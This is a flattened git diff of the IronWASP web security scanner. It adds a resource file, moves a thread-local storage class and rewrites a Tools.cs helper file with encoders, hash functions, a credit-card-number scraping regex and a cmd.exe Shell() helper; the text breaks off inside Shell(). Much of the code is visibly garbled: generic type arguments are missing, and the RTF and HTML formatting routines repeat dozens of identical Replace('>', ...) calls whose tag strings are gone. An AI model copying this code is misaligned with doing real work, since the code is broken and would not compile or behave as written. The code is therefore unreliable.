(e.Control && e.KeyCode.ToString() == "A") + { + MainText.SelectAll(); + } + } + + + } +} diff --git a/Iron/TextBoxPlus.resx b/Iron/TextBoxPlus.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/Iron/TextBoxPlus.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/IronWASP/ThreadStore.cs b/Iron/ThreadStore.cs similarity index 96% rename from IronWASP/ThreadStore.cs rename to Iron/ThreadStore.cs index e88b220..e101469 100644 --- a/IronWASP/ThreadStore.cs +++ b/Iron/ThreadStore.cs @@ -1,221 +1,221 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Threading; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class ThreadStore - { - static Dictionary> InternalStore = new Dictionary>(); - - static Dictionary Threads = new Dictionary(); - - public static int ThisThread() - { - return Thread.CurrentThread.ManagedThreadId; - } - - public static void Put(string Name, object Value) - { - int ThreadID = Thread.CurrentThread.ManagedThreadId; - if (!Threads.ContainsKey(ThreadID)) - { - lock (Threads) - { - Threads.Add(ThreadID, Thread.CurrentThread); - } - } - if (!InternalStore.ContainsKey(ThreadID)) - { - lock (InternalStore) - { - InternalStore.Add(ThreadID, new Dictionary()); - } - } - lock (InternalStore[ThreadID]) - { - if (InternalStore[ThreadID].ContainsKey(Name)) - { - InternalStore[ThreadID][Name] = Value; - } - else - { - InternalStore[ThreadID].Add(Name, Value); - } - } - } - - public static object Get(string Name) - { - int ThreadID = Thread.CurrentThread.ManagedThreadId; - if (InternalStore.ContainsKey(ThreadID)) - { - if (InternalStore[ThreadID].ContainsKey(Name)) - { - return InternalStore[ThreadID][Name]; - } - else - { - throw new Exception(String.Format("Item {0} is missing in ThreadStore", Name)); - } - } - else - { - throw new Exception("ThreadStore is empty"); - } - } - - public static bool Has(string Name) - { - try - { - int ThreadID = Thread.CurrentThread.ManagedThreadId; - if (InternalStore.ContainsKey(ThreadID)) - { - if (InternalStore[ThreadID].ContainsKey(Name)) - { - return true; - } - else - { - return false; - } - } - else - { - return false; - } - } - catch - { - return false; - } - } - - public static void Remove(string Name) - { - try - { - int ThreadID = Thread.CurrentThread.ManagedThreadId; - if (InternalStore.ContainsKey(ThreadID)) - { - lock (InternalStore) - { - InternalStore[ThreadID].Remove(Name); - } - } - } - catch { } - } - - public static void Clear() - { - try - { - int ThreadID = Thread.CurrentThread.ManagedThreadId; - if (Threads.ContainsKey(ThreadID)) - { - lock (Threads) - { - Threads.Remove(ThreadID); - } - } - if (InternalStore.ContainsKey(ThreadID)) - { - lock (InternalStore) - { - try - { - InternalStore[ThreadID].Clear(); - } - catch { } - try - { - InternalStore.Remove(ThreadID); - } - catch { } - } - } - } - catch { } - } - - internal static void CleanUp() - { - List DeadThreads = new List(); - foreach (int ThreadID in Threads.Keys) - { - try - { - if (Threads[ThreadID] == null) - { - DeadThreads.Add(ThreadID); - } - else if (!(Threads[ThreadID].ThreadState == ThreadState.Running || Threads[ThreadID].ThreadState == ThreadState.WaitSleepJoin)) - { - DeadThreads.Add(ThreadID); - } - } - catch - { - DeadThreads.Add(ThreadID); - } - } - if (DeadThreads.Count > 0) - { - lock (InternalStore) - { - foreach (int ThreadID in DeadThreads) - { - if (InternalStore.ContainsKey(ThreadID)) - { - try - { - InternalStore[ThreadID].Clear(); - } - catch { } - try - { - InternalStore.Remove(ThreadID); - } - catch { } - } - } - } - lock (Threads) - { - foreach (int ThreadID in DeadThreads) - { - try - { - if (Threads.ContainsKey(ThreadID)) - { - Threads.Remove(ThreadID); - } - } - catch { } - } - } - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Threading; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class ThreadStore + { + static Dictionary> InternalStore = new Dictionary>(); + + static Dictionary Threads = new Dictionary(); + + public static int ThisThread() + { + return Thread.CurrentThread.ManagedThreadId; + } + + public static void Put(string Name, object Value) + { + int ThreadID = Thread.CurrentThread.ManagedThreadId; + if (!Threads.ContainsKey(ThreadID)) + { + lock (Threads) + { + Threads.Add(ThreadID, Thread.CurrentThread); + } + } + if (!InternalStore.ContainsKey(ThreadID)) + { + lock (InternalStore) + { + InternalStore.Add(ThreadID, new Dictionary()); + } + } + lock (InternalStore[ThreadID]) + { + if (InternalStore[ThreadID].ContainsKey(Name)) + { + InternalStore[ThreadID][Name] = Value; + } + else + { + InternalStore[ThreadID].Add(Name, Value); + } + } + } + + public static object Get(string Name) + { + int ThreadID = Thread.CurrentThread.ManagedThreadId; + if (InternalStore.ContainsKey(ThreadID)) + { + if (InternalStore[ThreadID].ContainsKey(Name)) + { + return InternalStore[ThreadID][Name]; + } + else + { + throw new Exception(String.Format("Item {0} is missing in ThreadStore", Name)); + } + } + else + { + throw new Exception("ThreadStore is empty"); + } + } + + public static bool Has(string Name) + { + try + { + int ThreadID = Thread.CurrentThread.ManagedThreadId; + if (InternalStore.ContainsKey(ThreadID)) + { + if (InternalStore[ThreadID].ContainsKey(Name)) + { + return true; + } + else + { + return false; + } + } + else + { + return false; + } + } + catch + { + return false; + } + } + + public static void Remove(string Name) + { + try + { + int ThreadID = Thread.CurrentThread.ManagedThreadId; + if (InternalStore.ContainsKey(ThreadID)) + { + lock (InternalStore) + { + InternalStore[ThreadID].Remove(Name); + } + } + } + catch { } + } + + public static void Clear() + { + try + { + int ThreadID = Thread.CurrentThread.ManagedThreadId; + if (Threads.ContainsKey(ThreadID)) + { + lock (Threads) + { + Threads.Remove(ThreadID); + } + } + if (InternalStore.ContainsKey(ThreadID)) + { + lock (InternalStore) + { + try + { + InternalStore[ThreadID].Clear(); + } + catch { } + try + { + InternalStore.Remove(ThreadID); + } + catch { } + } + } + } + catch { } + } + + internal static void CleanUp() + { + List DeadThreads = new List(); + foreach (int ThreadID in Threads.Keys) + { + try + { + if (Threads[ThreadID] == null) + { + DeadThreads.Add(ThreadID); + } + else if (!(Threads[ThreadID].ThreadState == ThreadState.Running || Threads[ThreadID].ThreadState == ThreadState.WaitSleepJoin)) + { + DeadThreads.Add(ThreadID); + } + } + catch + { + DeadThreads.Add(ThreadID); + } + } + if (DeadThreads.Count > 0) + { + lock (InternalStore) + { + foreach (int ThreadID in DeadThreads) + { + if (InternalStore.ContainsKey(ThreadID)) + { + try + { + InternalStore[ThreadID].Clear(); + } + catch { } + try + { + InternalStore.Remove(ThreadID); + } + catch { } + } + } + } + lock (Threads) + { + foreach (int ThreadID in DeadThreads) + { + try + { + if (Threads.ContainsKey(ThreadID)) + { + Threads.Remove(ThreadID); + } + } + catch { } + } + } + } + } + } +} diff --git a/IronWASP/Tools.cs b/Iron/Tools.cs similarity index 88% rename from IronWASP/Tools.cs rename to Iron/Tools.cs index 3b376d6..e65eb7b 100644 --- a/IronWASP/Tools.cs +++ b/Iron/Tools.cs @@ -1,1437 +1,1642 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Web; -using System.Web.Util; -using System.Threading; -using System.Collections.Generic; -using System.Text; -using System.Text.RegularExpressions; -using System.IO; -using System.Xml; -using System.Net; -using System.Diagnostics; -using System.Security.Cryptography; -using Mathertel; -using Newtonsoft.Json; -using Jint; -using Jint.Expressions; -using Antlr.Runtime; -using System.Drawing; -using System.Drawing.Imaging; -using System.Windows.Forms; - - -namespace IronWASP -{ - public class Tools - { - public static string ListToCsv(List CSVList) - { - if (CSVList.Count == 0) return ""; - StringBuilder CSV = new StringBuilder(); - foreach (string Ele in CSVList) - { - CSV.Append(Ele); CSV.Append(","); - } - return CSV.ToString().TrimEnd(','); - } - - public static string ArrayToCsv(string[] CSVArray) - { - List CSVList = new List(); - CSVList.AddRange(CSVArray); - return ListToCsv(CSVList); - } - - public static string[] ListToArray(List Input) - { - string[] Output = new string[Input.Count]; - Input.CopyTo(Output); - return Output; - } - - public static List ArrayToList(string[] Input) - { - List Output = new List(); - Output.AddRange(Input); - return Output; - } - - internal static string StripRtfTags(string Text) - { - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - Text = Text.Replace(">", ""); - return Text; - } - - internal static string RtfSafe(string Text) - { - Text = Text.Replace("\r\n", ">"); - Text = Text.Replace("\n", ">"); - Text = Text.Replace("\\","\\\\"); - Text = Text.Replace("{", "\\{"); - Text = Text.Replace("}", "\\}"); - Text = Text.Replace(">", " \\par "); - Text = Text.Replace(">", "\\cf1\\b "); - Text = Text.Replace(">", "\\cf0\\b0 "); - Text = Text.Replace(">", " \\cf2 \\b "); - Text = Text.Replace(">", " \\cf0 \\b0 "); - Text = Text.Replace(">", " \\b "); - Text = Text.Replace(">", " \\b0 "); - Text = Text.Replace(">", " \\i "); - Text = Text.Replace(">", " \\i0 "); - Text = Text.Replace(">", " \\cf3 "); - Text = Text.Replace(">", " \\cf0 "); - Text = Text.Replace(">", " \\cf4 "); - Text = Text.Replace(">", " \\cf0 "); - Text = Text.Replace(">", " \\cf1 "); - Text = Text.Replace(">", " \\cf0 "); - Text = Text.Replace(">", " \\cf2 "); - Text = Text.Replace(">", " \\cf0 "); - Text = Text.Replace(">", " \\cf6 "); - Text = Text.Replace(">", " \\cf0 "); - Text = Text.Replace(">", " \\cf5 "); - Text = Text.Replace(">", " \\cf0 "); - Text = Text.Replace(">", " \\qc "); - Text = Text.Replace(">", " \\pard "); - Text = Text.Replace(">", " \\qr "); - Text = Text.Replace(">", " \\pard "); - Text = Text.Replace(">", " \\ql "); - Text = Text.Replace(">", " \\pard "); - Text = Text.Replace(">", " \\highlight3 "); - Text = Text.Replace(">", " \\highlight0 "); - Text = Text.Replace(">", " \\highlight4 "); - Text = Text.Replace(">", " \\highlight0 "); - Text = Text.Replace(">", " \\highlight1 "); - Text = Text.Replace(">", " \\highlight0 "); - Text = Text.Replace(">", " \\highlight2 "); - Text = Text.Replace(">", " \\highlight0 "); - Text = Text.Replace(">", " \\highlight6 "); - Text = Text.Replace(">", " \\highlight0 "); - Text = Text.Replace(">", " \\fs30 "); - Text = Text.Replace(">", " \\fs20 "); - return Text; - } - - internal static string ConvertForHtmlReport(string Text) - { - Text = Tools.HtmlEncode(Text); - Text = Text.Replace("\r\n", Tools.HtmlEncode(">")); - Text = Text.Replace("\n", Tools.HtmlEncode(">")); - //Text = Text.Replace("\\", "\\\\"); - //Text = Text.Replace("{", "\\{"); - //Text = Text.Replace("}", "\\}"); - Text = Text.Replace(Tools.HtmlEncode(">"), "
    "); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), " "); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), "
    "); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), " "); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - Text = Text.Replace(Tools.HtmlEncode(">"), ""); - - return Text; - } - - public static string RelaxedUrlEncode(string Input) - { - StringBuilder SB = new StringBuilder(); - for (int i = 0; i < Input.Length; i++) - { - switch (Input[i]) - { - case ' ': - SB.Append("+"); - break; - case '&': - SB.Append("%26"); - break; - case '?': - SB.Append("%3f"); - break; - case '#': - SB.Append("%23"); - break; - case ';': - SB.Append("%3b"); - break; - case '=': - SB.Append("%3d"); - break; - case '\r': - SB.Append("%0d"); - break; - case '\n': - SB.Append("%0a"); - break; - case '\t': - SB.Append("%09"); - break; - case '\0': - SB.Append("%00"); - break; - default: - SB.Append(Input[i]); - break; - } - } - return SB.ToString(); - } - - public static string RelaxedCookieEncode(string Input) - { - StringBuilder SB = new StringBuilder(); - for (int i = 0; i < Input.Length; i++) - { - switch (Input[i]) - { - case ' ': - SB.Append("%20"); - break; - case ';': - SB.Append("%3b"); - break; - case ',': - SB.Append("%2c"); - break; - case '\r': - SB.Append("%0d"); - break; - case '\n': - SB.Append("%0a"); - break; - case '\t': - SB.Append("%09"); - break; - case '\0': - SB.Append("%00"); - break; - default: - SB.Append(Input[i]); - break; - } - } - return SB.ToString(); - } - - public static string HeaderEncode(string Input) - { - StringBuilder SB = new StringBuilder(); - for (int i = 0; i < Input.Length; i++) - { - switch (Input[i]) - { - case '\r': - SB.Append("%0d"); - break; - case '\n': - SB.Append("%0a"); - break; - case '\0': - SB.Append("%00"); - break; - default: - SB.Append(Input[i]); - break; - } - } - return SB.ToString(); - } - - public static string UrlPathEncode(string Input) - { - return HttpUtility.UrlPathEncode(Input); - } - - public static string UrlEncode(string Input) - { - return HttpUtility.UrlEncode(Input); - } - - public static string UrlDecode(string Input) - { - return HttpUtility.UrlDecode(Input); - } - - public static string UrlPathPartEncode(string Input) - { - Input = Input.Replace("~", "%7e").Replace("/", "%2f"); - string EncodedInput = HttpUtility.UrlEncode(Input); - EncodedInput = EncodedInput.Replace("+", "%20");//Server treats + in Url Path Part as + instead of space. %20 is the right representation. + is ok for Query. - return EncodedInput; - } - public static string UrlPathPartDecode(string Input) - { - Input = Input.Replace("%257e", "%7e").Replace("%252f", "%2f"); - return Tools.UrlDecode(Input); - } - public static string HtmlEncode(string Input) - { - return HttpUtility.HtmlEncode(Input); - } - public static string HtmlDecode(string Input) - { - return HttpUtility.HtmlDecode(Input); - } - public static string HtmlAttributeEncode(string Input) - { - return HttpUtility.HtmlAttributeEncode(Input); - } - public static string UrlUnicodeEncode(string Input) - { - return HttpUtility.UrlEncodeUnicode(Input); - } - public static string ToHex(string Input) - { - byte[] BA = Encoding.UTF8.GetBytes(Input); - return ToHex(BA); - } - - public static string ToHex(byte[] Input) - { - string Hex = BitConverter.ToString(Input); - return Hex.Replace("-",""); - } - - public static byte[] ToByteArray(string Input) - { - return ToByteArray(Input, "UTF-8"); - } - - public static byte[] ToByteArray(string Input, string EncodingType) - { - Encoding Enc; - try - { - Enc = Encoding.GetEncoding(EncodingType); - } - catch - { - throw new Exception("Invalid Encoding Type Specified"); - } - return Enc.GetBytes(Input); - } - - public static string HexEncode(string Input) - { - return HexEncodeBytes(Tools.ToByteArray(Input)); - } - - public static string HexEncodeBytes(byte[] Input) - { - string Hex = BitConverter.ToString(Input); - if (Hex.Length == 0) return ""; - return string.Format("%{0}", new object[] { Hex.Replace("-", "%") }); - } - - public static string HexDecode(string Input) - { - string[] Bytes = Input.Split(new char[]{'%'},StringSplitOptions.RemoveEmptyEntries); - StringBuilder Result = new StringBuilder(); - foreach (string Byte in Bytes) - { - Result.Append(Convert.ToChar(Convert.ToUInt32(Byte, 16))); - } - return Result.ToString(); - } - - public static string Base64Encode(string Input) - { - byte[] BA = Encoding.UTF8.GetBytes(Input); - return Base64EncodeByteArray(BA); - } - - public static string Base64EncodeByteArray(byte[] Input) - { - return Convert.ToBase64String(Input); - } - - public static string XmlEncode(string Input) - { - try - { - StringBuilder XB = new StringBuilder(); - XmlWriterSettings Settings = new XmlWriterSettings(); - XmlWriter XW = XmlWriter.Create(XB, Settings); - XW.WriteStartElement("xml"); - XW.WriteValue(Input); - XW.WriteEndElement(); - XW.Close(); - string XML = XB.ToString(); - int StartPoint = XML.IndexOf("") + 5; - return XML.Substring(StartPoint, XML.Length - (StartPoint + 6)); - } - catch(Exception Exp) - { - if (Input.Length == 1) - { - throw Exp;//to avoid infinite recursive loop when checking a single character - } - else - { - StringBuilder SB = new StringBuilder(); - foreach (Char C in Input) - { - try - { - SB.Append(Tools.XmlEncode(C.ToString())); - } - catch { } - } - return SB.ToString(); - } - } - } - - public static string JsonEncode(string Input) - { - try - { - StringWriter JW = new StringWriter(); - JsonTextWriter JTW = new JsonTextWriter(JW); - JTW.WriteStartObject(); - JTW.WritePropertyName("a"); - JTW.WriteValue(Input); - JTW.WriteEndObject(); - JTW.Close(); - JW.Close(); - - string Val = JW.ToString().Substring(5); - Val = Val.TrimEnd('}'); - Val = Val.Trim(); - - if (Val.StartsWith("\"")) - { - Val = Val.Trim('"'); - } - else if (Val.StartsWith("\'")) - { - Val = Val.Trim('\''); - } - return Val; - } - catch (Exception Exp) - { - if (Input.Length == 1) - { - throw Exp;//to avoid infinite recursive loop when checking a single character - } - else - { - StringBuilder SB = new StringBuilder(); - foreach (Char C in Input) - { - try - { - SB.Append(Tools.JsonEncode(C.ToString())); - } - catch { } - } - return SB.ToString(); - } - } - } - - public static string EncodeForTrace(string Input) - { - return Input.Replace("\r", "\\r").Replace("\n", "\\n").Replace("\t", "\\t").Replace("\000", "\\0").Replace("\00", "\\0").Replace("\0", "\\0"); - } - - public static byte[] Base64DecodeToByteArray(string Input) - { - byte[] BA = Convert.FromBase64String(Input); - return BA; - } - - public static string Base64Decode(string Input) - { - byte[] BA = Convert.FromBase64String(Input); - return Encoding.UTF8.GetString(BA); - } - - public static string Base64DecodeToHex(string Input) - { - byte[] BA = Convert.FromBase64String(Input); - return ToHex(BA); - } - - public static string sha256(string Input) - { - return SHA256(Input); - } - - public static string SHA256(string Input) - { - byte[] InBa = ToByteArray(Input); - SHA256Managed Sha = new SHA256Managed(); - byte[] Result = Sha.ComputeHash(InBa); - return ToHex(Result); - } - - public static string sha512(string Input) - { - return SHA512(Input); - } - - public static string SHA512(string Input) - { - byte[] InBa = ToByteArray(Input); - SHA512Managed Sha = new SHA512Managed(); - byte[] Result = Sha.ComputeHash(InBa); - return ToHex(Result); - } - - public static string sha1(string Input) - { - return SHA1(Input); - } - - public static string SHA1(string Input) - { - byte[] InBa = ToByteArray(Input); - SHA1Managed Sha = new SHA1Managed(); - byte[] Result = Sha.ComputeHash(InBa); - return ToHex(Result); - } - - public static string sha384(string Input) - { - return SHA384(Input); - } - - public static string SHA384(string Input) - { - byte[] InBa = ToByteArray(Input); - SHA384Managed Sha = new SHA384Managed(); - byte[] Result = Sha.ComputeHash(InBa); - return ToHex(Result); - } - - public static string md5(string Input) - { - return MD5(Input); - } - - public static string MD5(string Input) - { - byte[] InBa = ToByteArray(Input); - MD5CryptoServiceProvider MD5er = new MD5CryptoServiceProvider(); - byte[] Result = MD5er.ComputeHash(InBa); - return ToHex(Result); - } - - public static DiffResult Diff(string Source, string Destination) - { - Mathertel.Diff.Item[] Results = Mathertel.Diff.DiffText(Source, Destination, false, false, false); - return DiffResult.GetStringDiff(Results, Source, Destination); - } - - public static DiffResult DiffLine(string Source, string Destination) - { - Mathertel.Diff.Item[] Results = Mathertel.Diff.DiffText(Source.Replace(' ','\n'), Destination.Replace(' ','\n'), false, false, false); - return DiffResult.GetLineDiff(Results, Source, Destination); - } - - public static int DiffLevel(string Source, string Destination) - { - return IronDiffer.GetLevel(Source, Destination); - } - - public static List ScrapeCcNos(string Input) - { - return ScrapeCCNos(Input); - } - - public static List ScrapeCCNos(string Input) - { - return Scrape(Input.Replace("-",""), @"\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})\b"); - } - - public static List ScrapeEmailIds(string Input) - { - return Scrape(Input, @"\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b"); - } - - public static List Scrape(string Input, string RegexString) - { - List Results = new List(); - Regex Regex = new Regex(RegexString, RegexOptions.IgnoreCase | RegexOptions.Multiline); - Match M = Regex.Match(Input); - while (M.Success) - { - Results.Add(M.Value); - M = M.NextMatch(); - } - return Results; - } - - public static int Count(string Text, string Keyword) - { - if (Keyword.Length == 0 || Text.Length == 0) return 0; - bool Loop = true; - int StartIndex = 0; - int Count = 0; - while (Loop) - { - Loop = false; - int MatchSpot = Text.IndexOf(Keyword, StartIndex, StringComparison.CurrentCultureIgnoreCase); - if (MatchSpot >= 0) - { - Count++; - if ((MatchSpot + Keyword.Length) < Text.Length) - { - StartIndex = MatchSpot + 1; - Loop = true; - } - } - } - return Count; - } - - public static void Trace(string Source, string Message) - { - IronTrace IT = new IronTrace(Source, Message); - IT.Report(); - } - - public static void ScanTrace(int ScanID, string PluginName, string Section, string Parameter, string Title, string Message) - { - IronTrace IT = new IronTrace(ScanID, PluginName, Section, Parameter, Title, Message, new List()); - IT.Report(); - } - - public static string GetRandomString() - { - int Min = GetRandomNumber(); - return GetRandomString(Min, GetRandomNumber(Min + GetRandomNumber())); - } - - public static string GetRandomString(int MinLength, int MaxLength) - { - string[] Alphabets = new string[] { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; - int Length = GetRandomNumber(MinLength, MaxLength); - StringBuilder PS = new StringBuilder(); - for (int i = 0; i < Length; i++) - { - PS.Append(Alphabets[GetRandomNumber(25)]); - } - return PS.ToString(); - } - - public static int GetRandomNumber() - { - Random R = new Random(); - return R.Next(); - } - - public static int GetRandomNumber(int Max) - { - Random R = new Random(); - return R.Next(Max + 1); - } - - public static int GetRandomNumber(int Min, int Max) - { - Random R = new Random(); - return R.Next(Min, Max + 1); - } - - public static bool IsJavaScript(string Text) - { - string TrimmedText = Text.Trim(); - if (TrimmedText.StartsWith("<") || TrimmedText.StartsWith("{") || TrimmedText.StartsWith("[") || TrimmedText.EndsWith(">")) - return false; - if (!(TrimmedText.Contains("=") || TrimmedText.Contains(";") || TrimmedText.Contains("(") || TrimmedText.Contains(")"))) - return false; - - try - { - Jint.Expressions.Program Prog = JintEngine.Compile(Text, false); - if (Prog.Statements.Count == 0) return false; - } - catch { return false; } - return true; - } - - public static bool IsCss(string Text) - { - string TrimmedText = Text.Trim(); - if (TrimmedText.StartsWith("<") || TrimmedText.StartsWith("{") || TrimmedText.StartsWith("[") || TrimmedText.EndsWith(">")) - return false; - if (!(TrimmedText.Contains("{") || TrimmedText.Contains("}") || TrimmedText.Contains(":") || TrimmedText.Contains(";") || TrimmedText.Contains("@"))) - return false; - - CssFx.CssStyleSheet ParsedCss = IronCss.Parse(Text); - if (ParsedCss == null) - { - return false; - } - else - { - if (ParsedCss.Statements.Count > 0 || ParsedCss.Comments.Count > 0) - { - return true; - } - else - { - return false; - } - } - } - - public static bool IsJson(string Text) - { - string TrimmedText = Text.Trim(); - if(TrimmedText.StartsWith("[") && TrimmedText.EndsWith("]")) - { - TrimmedText = TrimmedText.TrimStart('[').TrimEnd(']').Trim(); - } - if (TrimmedText.StartsWith("{") && TrimmedText.EndsWith("}")) - { - try - { - JsonConvert.DeserializeObject(Text); - } - catch { return false; } - return true; - } - else - { - return false; - } - } - - public static bool IsXml(string Text) - { - string TrimmedText = Text.Trim(); - if (TrimmedText.StartsWith("<") && TrimmedText.EndsWith(">")) - { - try - { - XmlDocument Doc = new XmlDocument(); - Doc.XmlResolver = null; - Doc.LoadXml(TrimmedText); - } - catch { return false; } - return true; - } - else - { - return false; - } - } - - public static bool IsSoap(string Text) - { - string TrimmedText = Text.Trim(); - if (TrimmedText.StartsWith("<") && TrimmedText.EndsWith(">")) - { - try - { - XmlDocument Doc = new XmlDocument(); - Doc.XmlResolver = null; - Doc.LoadXml(TrimmedText); - if (Doc.DocumentElement.LocalName == "Envelope") - { - if (Doc.DocumentElement.ChildNodes.Count == 1 && Doc.DocumentElement.ChildNodes[0].LocalName == "Body") - { - return true; - } - else if (Doc.DocumentElement.ChildNodes.Count == 2 && Doc.DocumentElement.ChildNodes[0].LocalName == "Header" && Doc.DocumentElement.ChildNodes[1].LocalName == "Body") - { - return true; - } - } - } - catch {} - } - return false; - } - - - public static bool IsBinary(byte[] Bytes) - { - if (Bytes.Length > 10) - { - if (Bytes[0] == 255 && Bytes[1] == 216 && Bytes[2] == 255) return true;//jpeg - if (Bytes[0] == 71 && Bytes[1] == 73 && Bytes[2] == 70 && Bytes[Bytes.Length - 2] == 0 && Bytes[Bytes.Length - 1] == 59) return true;//gif - if (Bytes[0] == 137 && Bytes[1] == 80 && Bytes[2] == 78 && Bytes[3] == 71 && Bytes[4] == 13 && Bytes[5] == 10 && Bytes[6] == 26 && Bytes[7] == 10) return true;//png - if (Bytes[0] == 80 && Bytes[1] == 75 && Bytes[2] == 3 && Bytes[3] == 4) return true;//zip - if (Bytes[0] == 37 && Bytes[1] == 80 && Bytes[2] == 68 && Bytes[3] == 70) return true;//pdf - if (Bytes[0] == 172 && Bytes[1] == 237 && Bytes[2] == 0) return true;//Java Serialized Object - if (Bytes[0] == 3 && Bytes[1] == 0) return true;//Action Message Format - } - if ((new List(Bytes)).Contains(0)) - return true; - return false; - } - - public static bool IsBinary(string Text) - { - try - { - return IsBinary(Encoding.UTF8.GetBytes(Text)); - } - catch - { - if (Text.Contains("\0")) - return true; - else - return false; - } - } - - public static bool IsEven(int Num) - { - return Num % 2 == 0; - } - - public static string GetCharsetFromContentType(string ContentType) - { - string Charset = ""; - int Loc = ContentType.IndexOf("charset="); - if (Loc >= 0) - { - Charset = ContentType.Substring(Loc + 8).Trim(); - } - return Charset; - } - - public static string Shell(string Command) - { - try - { - string[] Result = new string[]{"",""}; - Process P = new Process(); - try - { - P.StartInfo.FileName = "cmd.exe"; - P.StartInfo.UseShellExecute = false; - P.StartInfo.RedirectStandardInput = true; - 